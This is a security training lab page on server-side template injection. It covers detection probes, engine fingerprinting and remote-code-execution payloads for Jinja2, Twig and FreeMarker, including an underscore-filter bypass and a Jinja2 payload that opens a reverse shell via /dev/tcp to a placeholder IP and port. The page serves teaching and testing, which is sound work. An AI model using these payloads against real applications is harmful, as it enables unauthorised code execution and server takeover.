Server-Side Template Injection (SSTI)

🎯 Lab Objectives

Identify SSTI vulnerabilities using mathematical probe payloads
Fingerprint the template engine from error messages and output
Exploit Jinja2 SSTI for full RCE on Flask/Python applications
Exploit Twig SSTI on PHP applications
Exploit Freemarker SSTI on Java applications
Bypass SSTI filter restrictions using alternative payloads

Topics Covered

Template engine concepts and server-side execution context
Detection methodology — mathematical fuzz payloads
Jinja2 (Python/Flask) exploitation chain via MRO traversal
Twig (PHP) exploitation
Freemarker (Java) exploitation
Sandbox escape techniques

Detection

# Basic math probe — if result is evaluated instead of echoed literally, SSTI exists
{{7*7}}     — 49  (Jinja2/Twig)
${7*7}      — 49  (FreeMarker/Velocity)
<%= 7*7 %> — 49  (ERB/EJS)

# Fingerprint the engine
{{7*'7'}}   — 7777777  (Jinja2 — string multiplication)
{{7*'7'}}   — 49       (Twig — numeric coercion)

Jinja2 (Flask/Python) Exploitation

# Classic MRO traversal to reach subprocess
{{''.__class__.__mro__[1].__subclasses__()}}
# Find subprocess.Popen index (commonly around 258)
{{''.__class__.__mro__[1].__subclasses__()[258]('id',shell=True,stdout=-1).communicate()}}

# Shorter chain using globals
{{self.__init__.__globals__['os'].popen('id').read()}}

# Bypass underscore filter using request attributes
{{request['__class__']['__mro__'][1]['__subclasses__']()}}

# Reverse shell
{{''.__class__.__mro__[1].__subclasses__()[258]('bash -i >& /dev/tcp/IP/PORT 0>&1',shell=True)}}

Twig (PHP) Exploitation

# RCE via filter callback registration
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}

FreeMarker (Java) Exploitation

# RCE using Execute utility class
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

✅

Lab Complete! Mark it done below and continue your learning path.

← All Labs

Server-Side Template Injection (SSTI)

🎯 Lab Objectives

Topics Covered

Detection

Jinja2 (Flask/Python) Exploitation

Twig (PHP) Exploitation

FreeMarker (Java) Exploitation

Try It Live